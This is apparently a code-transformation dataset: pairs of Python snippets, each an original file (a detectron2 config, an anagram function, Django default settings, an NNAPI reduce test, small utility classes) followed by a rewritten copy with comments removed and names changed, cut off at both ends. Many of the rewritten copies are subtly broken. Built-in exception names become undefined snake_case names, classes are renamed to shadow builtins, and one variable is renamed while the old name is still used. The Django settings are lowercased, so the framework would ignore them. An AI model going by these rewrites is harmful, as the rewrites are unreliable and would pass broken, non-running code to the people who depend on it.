"mHostName": "dc01", "mFqdn": "dc01.cybr.com"}}, "target": {"mOriginalAddress": "dc01.cybr.com", "mResolvedAddress": {"mOriginalAddress": "dc01.cybr.com", "mAddress": "10.0.0.5", "mHostName": "dc01", "mFqdn": "dc01.cybr.com"}}, "cloudData": {}, "accountId": "27_3"}], "additionalData": {"aggregation_count": 12}, "mStatus": "OPEN"}', 'severity': 2}] |
# Common training-related configs that are designed for "tools/lazyconfig_train_net.py"
# You can use your own instead, together with your own train_net.py
train = dict(
output_dir="./output",
init_checkpoint="detectron2://ImageNetPretrained/MSRA/R-50.pkl",
max_iter=90000,
amp=dict(enabled=False), # options for Automatic Mixed Precision
ddp=dict( # options for DistributedDataParallel
broadcast_buffers=False,
find_unused_parameters=False,
fp16_compression=False,
),
checkpointer=dict(period=5000, max_to_keep=100), # options for PeriodicCheckpointer
eval_period=5000,
log_period=20,
device="cuda"
# ...
)
| train = dict(output_dir='./output', init_checkpoint='detectron2://ImageNetPretrained/MSRA/R-50.pkl', max_iter=90000, amp=dict(enabled=False), ddp=dict(broadcast_buffers=False, find_unused_parameters=False, fp16_compression=False), checkpointer=dict(period=5000, max_to_keep=100), eval_period=5000, log_period=20, device='cuda') |
#------------------------------------------------------------------------------
# Copyright (c) 2013, Nucleic Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
#------------------------------------------------------------------------------
class ObjectDict(dict):
""" A dict subclass which allows access by named attribute.
"""
__slots__ = ()
def __getattr__(self, attr):
if attr in self:
return self[attr]
msg = "'%s' object has no attribute '%s'"
raise AttributeError(msg % (type(self).__name__, attr))
| class Objectdict(dict):
""" A dict subclass which allows access by named attribute.
"""
__slots__ = ()
def __getattr__(self, attr):
if attr in self:
return self[attr]
msg = "'%s' object has no attribute '%s'"
raise attribute_error(msg % (type(self).__name__, attr)) |
"""
Base class for a projectile
"""
class CageProjectile(object):
"""
Simple projectile base class
"""
def __init__(self, world, projectileid):
self.world = world
self.projectileid = projectileid
def next(self):
"""
Progress the game state to the next tick.
"""
pass
def save(self):
"""
Override to save details of current projectile with total knowledge
"""
raise NotImplementedError('Override to save projectile')
def load(self, jsonobj):
"""
Override to load details of current projectile
"""
raise NotImplementedError('Override to load projectile')
def render(self, im):
"""
Render the display to an image for the provided game mp4 output
"""
raise NotImplementedError('Override to draw projectile')
| """
Base class for a projectile
"""
class Cageprojectile(object):
"""
Simple projectile base class
"""
def __init__(self, world, projectileid):
self.world = world
self.projectileid = projectileid
def next(self):
"""
Progress the game state to the next tick.
"""
pass
def save(self):
"""
Override to save details of current projectile with total knowledge
"""
raise not_implemented_error('Override to save projectile')
def load(self, jsonobj):
"""
Override to load details of current projectile
"""
raise not_implemented_error('Override to load projectile')
def render(self, im):
"""
Render the display to an image for the provided game mp4 output
"""
raise not_implemented_error('Override to draw projectile') |
s1 = "fairy tales"
s2 = "rail safety"
s1 = s1.replace(" ", "").lower()
s2 = s2.replace(" ", "").lower()
# Requires n log n time (since any comparison
# based sorting algorithm requires at least
# nlogn time to sort).
print(sorted(s1) == sorted(s2))
# The Preferred Solution
# This solution is of linear time complexity which is an improvement on O(nlogn)
# O(nlogn).
def is_anagram(s1, s2):
ht = dict()
# normalizing the strings
s1 = s1.replace(" ", "").lower()
s2 = s2.replace(" ", "").lower()
print(s1, ' ', s2)
if len(s1) != len(s2):
return False
for i in s1:
if i in ht:
ht[i] += 1
else:
ht[i] = 1
for i in s2:
if i in ht:
ht[i] -= 1
else:
ht[i] = 1
for i in ht:
if ht[i] != 0:
return False
return True
s1 = "fairy tales"
s2 = "rail safety"
print(is_anagram(s1, s2))
| s1 = 'fairy tales'
s2 = 'rail safety'
s1 = s1.replace(' ', '').lower()
s2 = s2.replace(' ', '').lower()
print(sorted(s1) == sorted(s2))
def is_anagram(s1, s2):
ht = dict()
s1 = s1.replace(' ', '').lower()
s2 = s2.replace(' ', '').lower()
print(s1, ' ', s2)
if len(s1) != len(s2):
return False
for i in s1:
if i in ht:
ht[i] += 1
else:
ht[i] = 1
for i in s2:
if i in ht:
ht[i] -= 1
else:
ht[i] = 1
for i in ht:
if ht[i] != 0:
return False
return True
s1 = 'fairy tales'
s2 = 'rail safety'
print(is_anagram(s1, s2)) |
model = Model()
i1 = Input("input", "TENSOR_QUANT8_ASYMM", "{4, 3, 2}, 0.8, 5")
axis = Parameter("axis", "TENSOR_INT32", "{4}", [1, 0, -3, -3])
keepDims = False
output = Output("output", "TENSOR_QUANT8_ASYMM", "{2}, 0.8, 5")
model = model.Operation("REDUCE_MAX", i1, axis, keepDims).To(output)
# Example 1. Input in operand 0,
input0 = {i1: # input 0
[1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13, 14, 15, 16,
17, 18, 19, 20, 21, 22, 23, 24]}
output0 = {output: # output 0
[23, 24]}
# Instantiate an example
Example((input0, output0))
| model = model()
i1 = input('input', 'TENSOR_QUANT8_ASYMM', '{4, 3, 2}, 0.8, 5')
axis = parameter('axis', 'TENSOR_INT32', '{4}', [1, 0, -3, -3])
keep_dims = False
output = output('output', 'TENSOR_QUANT8_ASYMM', '{2}, 0.8, 5')
model = model.Operation('REDUCE_MAX', i1, axis, keepDims).To(output)
input0 = {i1: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}
output0 = {output: [23, 24]}
example((input0, output0)) |
#Your secret information. Make sure you don't tell anyone
secret_key = ''
public_key = ''
url='https://api.paystack.co/transaction'
| secret_key = ''
public_key = ''
url = 'https://api.paystack.co/transaction' |
class Solution:
def find132pattern(self, nums: List[int]) -> bool:
if len(nums) < 3:
return False
second_num = -math.inf
stck = []
# Try to find nums[i] < second_num < stck[-1]
for i in range(len(nums) - 1, -1, -1):
if nums[i] < second_num:
return True
# always ensure stack can be popped in increasing order
while stck and stck[-1] < nums[i]:
# this will ensure second_num < stck[-1] for next iteration
second_num = stck[-1]
stck.pop()
stck.append(nums[i])
return False
| class Solution:
def find132pattern(self, nums: List[int]) -> bool:
if len(nums) < 3:
return False
second_num = -math.inf
stck = []
for i in range(len(nums) - 1, -1, -1):
if nums[i] < second_num:
return True
while stck and stck[-1] < nums[i]:
second_num = stck[-1]
stck.pop()
stck.append(nums[i])
return False |
class Logger:
# Logger channel.
channel: str
def __init__(self, channel: str):
self.channel = channel
def log(self, message):
print(f'\033[92m[{self.channel}] {message}\033[0m')
def info(self, message):
print(f'\033[94m[{self.channel}] {message}\033[0m')
def warning(self, message):
print(f'\033[93m[{self.channel}] {message}\033[0m')
def error(self, message):
print(f'\033[91m[{self.channel}] {message}\033[0m')
| class Logger:
channel: str
def __init__(self, channel: str):
self.channel = channel
def log(self, message):
print(f'\x1b[92m[{self.channel}] {message}\x1b[0m')
def info(self, message):
print(f'\x1b[94m[{self.channel}] {message}\x1b[0m')
def warning(self, message):
print(f'\x1b[93m[{self.channel}] {message}\x1b[0m')
def error(self, message):
print(f'\x1b[91m[{self.channel}] {message}\x1b[0m') |
r=' '
lista=list()
while True:
n=(int(input('digite um numero')))
if n in lista:
print('numero duplicado nao adicionado...')
r = str(input('quer continuar'))
else:
lista.append(n)
print('numero adicionado com sucesso.')
r=str(input('quer continuar'))
if r == 'n':
break
print(f'os numeros adicionados foram {sorted(lista)}') | r = ' '
lista = list()
while True:
n = int(input('digite um numero'))
if n in lista:
print('numero duplicado nao adicionado...')
r = str(input('quer continuar'))
else:
lista.append(n)
print('numero adicionado com sucesso.')
r = str(input('quer continuar'))
if r == 'n':
break
print(f'os numeros adicionados foram {sorted(lista)}') |
# Almost any value is evaluated to True if it has some sort of content.
#
# Any string is True, except empty strings.
#
# Any number is True, except 0.
#
# Any list, tuple, set, and dictionary are True, except empty ones.
bool("abc")
bool(123)
bool(["apple", "cherry", "banana"])
| bool('abc')
bool(123)
bool(['apple', 'cherry', 'banana']) |
# Distributed under the MIT software license, see the accompanying
# file LICENSE or https://www.opensource.org/licenses/MIT.
# List of words which are recognized in commands. The display_name method
# also recognizes strings between these words as own words so not all words
# appearing in command names have to be listed here but only enough to separate
# all words.
#
# Keep the list ordered alphabetically so it's easier for a developer to see if
# a word already is there
word_list = ["abort", "account", "address", "balance", "block", "by", "chain",
"change", "clear", "connection", "convert", "decode",
"fee", "generate", "get", "hash", "header",
"import", "info", "key", "label",
"message", "multi", "network", "node", "out", "psbt", "pool",
"priv", "pruned", "list", "raw", "save", "send", "smart", "totals",
"transaction", "tx", "unspent", "wallet",
]
# List of explicit display names which would otherwise wrongly generated from
# the word list
explicit_display_names = {
"setban": "SetBan",
"listaccounts": "ListAccounts",
"listwallets": "ListWallets",
"listtransactions": "ListTransactions",
"sethdseed": "SetHdSeed",
"getaddressesbylabel": "GetAddressesByLabel",
"getaddressesbyaccount": "GetAddressesByAccount",
"getnodeaddresses": "GetNodeAddresses",
"joinpsbts": "JoinPsbts",
"utxoupdatepsbt": "UtxoUpdatePsbt",
"deriveaddresses": "DeriveAddresses",
"listlabels": "ListLabels",
}
def capitalize(word):
if len(word) > 1:
return word[0].upper() + word[1:]
else:
return word.upper()
def uncapitalize(word):
if len(word) > 1:
return word[0].lower() + word[1:]
else:
return word.lower()
def display_name(command):
if command in explicit_display_names:
return explicit_display_names[command]
name = ""
last_word_index = 0
i = 0
while i < len(command):
found_word = False
for word in word_list:
if command[i:i+len(word)] == word:
if last_word_index < i:
name += capitalize(command[last_word_index:i])
name += capitalize(word)
i += len(word)
last_word_index = i
found_word = True
break
if not found_word:
i += 1
if last_word_index < i:
name += capitalize(command[last_word_index:i])
return capitalize(name)
| word_list = ['abort', 'account', 'address', 'balance', 'block', 'by', 'chain', 'change', 'clear', 'connection', 'convert', 'decode', 'fee', 'generate', 'get', 'hash', 'header', 'import', 'info', 'key', 'label', 'message', 'multi', 'network', 'node', 'out', 'psbt', 'pool', 'priv', 'pruned', 'list', 'raw', 'save', 'send', 'smart', 'totals', 'transaction', 'tx', 'unspent', 'wallet']
explicit_display_names = {'setban': 'SetBan', 'listaccounts': 'ListAccounts', 'listwallets': 'ListWallets', 'listtransactions': 'ListTransactions', 'sethdseed': 'SetHdSeed', 'getaddressesbylabel': 'GetAddressesByLabel', 'getaddressesbyaccount': 'GetAddressesByAccount', 'getnodeaddresses': 'GetNodeAddresses', 'joinpsbts': 'JoinPsbts', 'utxoupdatepsbt': 'UtxoUpdatePsbt', 'deriveaddresses': 'DeriveAddresses', 'listlabels': 'ListLabels'}
def capitalize(word):
if len(word) > 1:
return word[0].upper() + word[1:]
else:
return word.upper()
def uncapitalize(word):
if len(word) > 1:
return word[0].lower() + word[1:]
else:
return word.lower()
def display_name(command):
if command in explicit_display_names:
return explicit_display_names[command]
name = ''
last_word_index = 0
i = 0
while i < len(command):
found_word = False
for word in word_list:
if command[i:i + len(word)] == word:
if last_word_index < i:
name += capitalize(command[last_word_index:i])
name += capitalize(word)
i += len(word)
last_word_index = i
found_word = True
break
if not found_word:
i += 1
if last_word_index < i:
name += capitalize(command[last_word_index:i])
return capitalize(name) |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Python APRS Module Tests."""
__author__ = 'Greg Albrecht W2GMD <oss@undef.net>' # NOQA pylint: disable=R0801
__copyright__ = 'Copyright 2017 Greg Albrecht and Contributors' # NOQA pylint: disable=R0801
__license__ = 'Apache License, Version 2.0' # NOQA pylint: disable=R0801
| """Python APRS Module Tests."""
__author__ = 'Greg Albrecht W2GMD <oss@undef.net>'
__copyright__ = 'Copyright 2017 Greg Albrecht and Contributors'
__license__ = 'Apache License, Version 2.0' |
data = {
"red": ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)),
"green": ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)),
"blue": ((0.0, 0.0, 0.0), (1.0, 1.0, 1.0)),
}
| data = {'red': ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)), 'green': ((0.0, 0.0, 0.0), (1.0, 0.2, 0.2)), 'blue': ((0.0, 0.0, 0.0), (1.0, 1.0, 1.0))} |
# create template
class DtlTemplateCreateModel:
def __init__(self, name, subject, html_body): # required fields
self.name = name
self.subject = subject
self.html_body = html_body
self.template_setting_id = None
self.unsubscribe_option = None
def get_json_object(self):
return {
'name': self.name,
'subject': self.subject,
'htmlBody': self.html_body,
'templateSettingId': self.template_setting_id,
'unsubscribeOption': self.unsubscribe_option,
}
# update template
class DtlTemplatePatchModel:
def __init__(self):
self.name = None
self.subject = None
self.html_body = None
self.template_setting_id = None
self.unsubscribe_option = None
def get_json_object(self):
return {
'name': self.name,
'subject': self.subject,
'htmlBody': self.html_body,
'templateSettingId': self.template_setting_id,
'unsubscribeOption': self.unsubscribe_option,
}
# add reply template
class DtlAddReplyTemplateModel:
def __init__(self, reply_template_id): # required fields
self.reply_template_id = reply_template_id
self.schedule_time = None # default template settings time if null
def get_json_object(self):
return {
'replyTemplateId': self.reply_template_id,
'scheduleTime': self.schedule_time,
} | class Dtltemplatecreatemodel:
def __init__(self, name, subject, html_body):
self.name = name
self.subject = subject
self.html_body = html_body
self.template_setting_id = None
self.unsubscribe_option = None
def get_json_object(self):
return {'name': self.name, 'subject': self.subject, 'htmlBody': self.html_body, 'templateSettingId': self.template_setting_id, 'unsubscribeOption': self.unsubscribe_option}
class Dtltemplatepatchmodel:
def __init__(self):
self.name = None
self.subject = None
self.html_body = None
self.template_setting_id = None
self.unsubscribe_option = None
def get_json_object(self):
return {'name': self.name, 'subject': self.subject, 'htmlBody': self.html_body, 'templateSettingId': self.template_setting_id, 'unsubscribeOption': self.unsubscribe_option}
class Dtladdreplytemplatemodel:
def __init__(self, reply_template_id):
self.reply_template_id = reply_template_id
self.schedule_time = None
def get_json_object(self):
return {'replyTemplateId': self.reply_template_id, 'scheduleTime': self.schedule_time} |
ABSOLUTE_URL_OVERRIDES = {}
ADMINS = ()
ADMIN_FOR = ()
ADMIN_MEDIA_PREFIX = '/static/admin/'
ALLOWED_INCLUDE_ROOTS = ()
APPEND_SLASH = True
AUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend',)
BANNED_IPS = ()
CACHES = {}
CACHE_MIDDLEWARE_ALIAS = 'default'
CACHE_MIDDLEWARE_KEY_PREFIX = ''
CACHE_MIDDLEWARE_SECONDS = 600
COMMENTS_ALLOW_PROFANITIES = False
COMMENTS_BANNED_USERS_GROUP = None
COMMENTS_FIRST_FEW = 0
COMMENTS_MODERATORS_GROUP = None
COMMENTS_SKETCHY_USERS_GROUP = None
CSRF_COOKIE_DOMAIN = None
CSRF_COOKIE_NAME = 'csrftoken'
CSRF_FAILURE_VIEW = 'django.views.csrf.csrf_failure'
DATABASES = {'default': {'ENGINE': 'django.db.backends.', 'NAME': '', 'HOST': '', 'USER': '', 'PASSWORD': '', 'PORT': ''}}
DATABASE_ENGINE = ''
DATABASE_HOST = ''
DATABASE_NAME = ''
DATABASE_OPTIONS = {}
DATABASE_PASSWORD = ''
DATABASE_PORT = ''
DATABASE_ROUTERS = []
DATABASE_USER = ''
DATETIME_FORMAT = 'N j, Y, P'
DATETIME_INPUT_FORMATS = ('%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M', '%m/%d/%y')
DATE_FORMAT = 'N j, Y'
DATE_INPUT_FORMATS = ('%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', '%b %d %Y', '%b %d, %Y', '%d %b %Y', '%d %b, %Y', '%B %d %Y', '%B %d, %Y', '%d %B %Y', '%d %B, %Y')
DEBUG = True
DEBUG_PROPAGATE_EXCEPTIONS = False
DECIMAL_SEPARATOR = '.'
DEFAULT_CHARSET = 'utf-8'
DEFAULT_CONTENT_TYPE = 'text/html'
DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'
DEFAULT_FROM_EMAIL = 'webmaster@localhost'
DEFAULT_INDEX_TABLESPACE = ''
DEFAULT_TABLESPACE = ''
DISALLOWED_USER_AGENTS = ()
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
EMAIL_HOST = 'localhost'
EMAIL_HOST_PASSWORD = ''
EMAIL_HOST_USER = ''
EMAIL_PORT = 25
EMAIL_SUBJECT_PREFIX = '[Django] '
EMAIL_USE_TLS = False
FILE_CHARSET = 'utf-8'
FILE_UPLOAD_HANDLERS = ('django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler')
FILE_UPLOAD_MAX_MEMORY_SIZE = 2621440
FILE_UPLOAD_PERMISSIONS = None
FILE_UPLOAD_TEMP_DIR = None
FIRST_DAY_OF_WEEK = 0
FIXTURE_DIRS = ()
FORCE_SCRIPT_NAME = None
FORMAT_MODULE_PATH = None
IGNORABLE_404_ENDS = ('mail.pl', 'mailform.pl', 'mail.cgi', 'mailform.cgi', 'favicon.ico', '.php')
IGNORABLE_404_STARTS = ('/cgi-bin/', '/_vti_bin', '/_vti_inf')
INSTALLED_APPS = ['django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles']
INTERNAL_IPS = ()
LANGUAGES = (('ar', 'Arabic'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('bn', 'Bengali'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('el', 'Greek'), ('en', 'English'), ('en-gb', 'British English'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy-nl', 'Frisian'), ('ga', 'Irish'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hu', 'Hungarian'), ('id', 'Indonesian'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('nl', 'Dutch'), ('no', 'Norwegian'), ('nb', 'Norwegian Bokmal'), ('nn', 'Norwegian Nynorsk'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Traditional Chinese'))
LANGUAGES_BIDI = ('he', 'ar', 'fa')
LANGUAGE_CODE = 'en-us'
LANGUAGE_COOKIE_NAME = 'django_language'
LOCALE_PATHS = ()
LOGGING = {'loggers': {'django.request': {'level': 'ERROR', 'propagate': True, 'handlers': ['mail_admins']}}, 'version': 1, 'disable_existing_loggers': False, 'handlers': {'mail_admins': {'class': 'django.utils.log.AdminEmailHandler', 'level': 'ERROR'}}}
LOGGING_CONFIG = 'django.utils.log.dictConfig'
LOGIN_REDIRECT_URL = '/accounts/profile/'
LOGIN_URL = '/accounts/login/'
LOGOUT_URL = '/accounts/logout/'
MANAGERS = ()
MEDIA_ROOT = ''
MEDIA_URL = ''
MESSAGE_STORAGE = 'django.contrib.messages.storage.user_messages.LegacyFallbackStorage'
MIDDLEWARE_CLASSES = ('django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware')
MONTH_DAY_FORMAT = 'F j'
NUMBER_GROUPING = 0
PASSWORD_RESET_TIMEOUT_DAYS = 3
PREPEND_WWW = False
PROFANITIES_LIST = ()
ROOT_URLCONF = 'project.urls' ###
SECRET_KEY = '01234567890123456789012345678901234567890123456789'
SEND_BROKEN_LINK_EMAILS = False
SERVER_EMAIL = 'root@localhost'
SESSION_COOKIE_AGE = 1209600
SESSION_COOKIE_DOMAIN = None
SESSION_COOKIE_HTTPONLY = False
SESSION_COOKIE_NAME = 'sessionid'
SESSION_COOKIE_PATH = '/'
SESSION_COOKIE_SECURE = False
SESSION_ENGINE = 'django.contrib.sessions.backends.db'
SESSION_EXPIRE_AT_BROWSER_CLOSE = False
SESSION_FILE_PATH = None
SESSION_SAVE_EVERY_REQUEST = False
SETTINGS_MODULE = 'project.settings' ###
SHORT_DATETIME_FORMAT = 'm/d/Y P'
SHORT_DATE_FORMAT = 'm/d/Y'
SITE_ID = 1 ###
STATICFILES_DIRS = ()
STATICFILES_FINDERS = ('django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder')
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
STATIC_ROOT = ''
STATIC_URL = '/static/'
TEMPLATE_CONTEXT_PROCESSORS = ('django.contrib.auth.context_processors.auth', 'django.core.context_processors.debug', 'django.core.context_processors.i18n', 'django.core.context_processors.media', 'django.core.context_processors.static', 'django.contrib.messages.context_processors.messages')
TEMPLATE_DEBUG = True
TEMPLATE_DIRS = ()
TEMPLATE_LOADERS = ('django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader')
TEMPLATE_STRING_IF_INVALID = ''
TEST_DATABASE_CHARSET = None
TEST_DATABASE_COLLATION = None
TEST_DATABASE_NAME = None
TEST_RUNNER = 'django.test.simple.DjangoTestSuiteRunner'
THOUSAND_SEPARATOR = ','
TIME_FORMAT = 'P'
TIME_INPUT_FORMATS = ('%H:%M:%S', '%H:%M')
TIME_ZONE = 'America/Chicago'
TRANSACTIONS_MANAGED = False
URL_VALIDATOR_USER_AGENT = 'Django/1.3 (http://www.djangoproject.com)'
USE_ETAGS = False
USE_I18N = True
USE_L10N = True
USE_THOUSAND_SEPARATOR = False
YEAR_MONTH_FORMAT = 'F Y'
| absolute_url_overrides = {}
admins = ()
admin_for = ()
admin_media_prefix = '/static/admin/'
allowed_include_roots = ()
append_slash = True
authentication_backends = ('django.contrib.auth.backends.ModelBackend',)
banned_ips = ()
caches = {}
cache_middleware_alias = 'default'
cache_middleware_key_prefix = ''
cache_middleware_seconds = 600
comments_allow_profanities = False
comments_banned_users_group = None
comments_first_few = 0
comments_moderators_group = None
comments_sketchy_users_group = None
csrf_cookie_domain = None
csrf_cookie_name = 'csrftoken'
csrf_failure_view = 'django.views.csrf.csrf_failure'
databases = {'default': {'ENGINE': 'django.db.backends.', 'NAME': '', 'HOST': '', 'USER': '', 'PASSWORD': '', 'PORT': ''}}
database_engine = ''
database_host = ''
database_name = ''
database_options = {}
database_password = ''
database_port = ''
database_routers = []
database_user = ''
datetime_format = 'N j, Y, P'
datetime_input_formats = ('%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M', '%m/%d/%y')
date_format = 'N j, Y'
date_input_formats = ('%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', '%b %d %Y', '%b %d, %Y', '%d %b %Y', '%d %b, %Y', '%B %d %Y', '%B %d, %Y', '%d %B %Y', '%d %B, %Y')
debug = True
debug_propagate_exceptions = False
decimal_separator = '.'
default_charset = 'utf-8'
default_content_type = 'text/html'
default_file_storage = 'django.core.files.storage.FileSystemStorage'
default_from_email = 'webmaster@localhost'
default_index_tablespace = ''
default_tablespace = ''
disallowed_user_agents = ()
email_backend = 'django.core.mail.backends.smtp.EmailBackend'
email_host = 'localhost'
email_host_password = ''
email_host_user = ''
email_port = 25
email_subject_prefix = '[Django] '
email_use_tls = False
file_charset = 'utf-8'
file_upload_handlers = ('django.core.files.uploadhandler.MemoryFileUploadHandler', 'django.core.files.uploadhandler.TemporaryFileUploadHandler')
file_upload_max_memory_size = 2621440
file_upload_permissions = None
file_upload_temp_dir = None
first_day_of_week = 0
fixture_dirs = ()
force_script_name = None
format_module_path = None
ignorable_404_ends = ('mail.pl', 'mailform.pl', 'mail.cgi', 'mailform.cgi', 'favicon.ico', '.php')
ignorable_404_starts = ('/cgi-bin/', '/_vti_bin', '/_vti_inf')
installed_apps = ['django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles']
internal_ips = ()
languages = (('ar', 'Arabic'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('bn', 'Bengali'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('el', 'Greek'), ('en', 'English'), ('en-gb', 'British English'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy-nl', 'Frisian'), ('ga', 'Irish'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hu', 'Hungarian'), ('id', 'Indonesian'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('nl', 'Dutch'), ('no', 'Norwegian'), ('nb', 'Norwegian Bokmal'), ('nn', 'Norwegian Nynorsk'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Traditional Chinese'))
languages_bidi = ('he', 'ar', 'fa')
language_code = 'en-us'
language_cookie_name = 'django_language'
locale_paths = ()
logging = {'loggers': {'django.request': {'level': 'ERROR', 'propagate': True, 'handlers': ['mail_admins']}}, 'version': 1, 'disable_existing_loggers': False, 'handlers': {'mail_admins': {'class': 'django.utils.log.AdminEmailHandler', 'level': 'ERROR'}}}
logging_config = 'django.utils.log.dictConfig'
login_redirect_url = '/accounts/profile/'
login_url = '/accounts/login/'
logout_url = '/accounts/logout/'
managers = ()
media_root = ''
media_url = ''
message_storage = 'django.contrib.messages.storage.user_messages.LegacyFallbackStorage'
middleware_classes = ('django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware')
month_day_format = 'F j'
number_grouping = 0
password_reset_timeout_days = 3
prepend_www = False
profanities_list = ()
root_urlconf = 'project.urls'
secret_key = '01234567890123456789012345678901234567890123456789'
send_broken_link_emails = False
server_email = 'root@localhost'
session_cookie_age = 1209600
session_cookie_domain = None
session_cookie_httponly = False
session_cookie_name = 'sessionid'
session_cookie_path = '/'
session_cookie_secure = False
session_engine = 'django.contrib.sessions.backends.db'
session_expire_at_browser_close = False
session_file_path = None
session_save_every_request = False
settings_module = 'project.settings'
short_datetime_format = 'm/d/Y P'
short_date_format = 'm/d/Y'
site_id = 1
staticfiles_dirs = ()
staticfiles_finders = ('django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder')
staticfiles_storage = 'django.contrib.staticfiles.storage.StaticFilesStorage'
static_root = ''
static_url = '/static/'
template_context_processors = ('django.contrib.auth.context_processors.auth', 'django.core.context_processors.debug', 'django.core.context_processors.i18n', 'django.core.context_processors.media', 'django.core.context_processors.static', 'django.contrib.messages.context_processors.messages')
template_debug = True
template_dirs = ()
template_loaders = ('django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader')
template_string_if_invalid = ''
test_database_charset = None
test_database_collation = None
test_database_name = None
test_runner = 'django.test.simple.DjangoTestSuiteRunner'
thousand_separator = ','
time_format = 'P'
time_input_formats = ('%H:%M:%S', '%H:%M')
time_zone = 'America/Chicago'
transactions_managed = False
url_validator_user_agent = 'Django/1.3 (http://www.djangoproject.com)'
use_etags = False
use_i18_n = True
use_l10_n = True
use_thousand_separator = False
year_month_format = 'F Y' |
def load(h):
return ({'abbr': 0, 'code': 0, 'title': 'Visibility', 'units': 'm'},
{'abbr': 1, 'code': 1, 'title': 'Albedo', 'units': '%'},
{'abbr': 2, 'code': 2, 'title': 'Thunderstorm probability', 'units': '%'},
{'abbr': 3, 'code': 3, 'title': 'Mixed layer depth', 'units': 'm'},
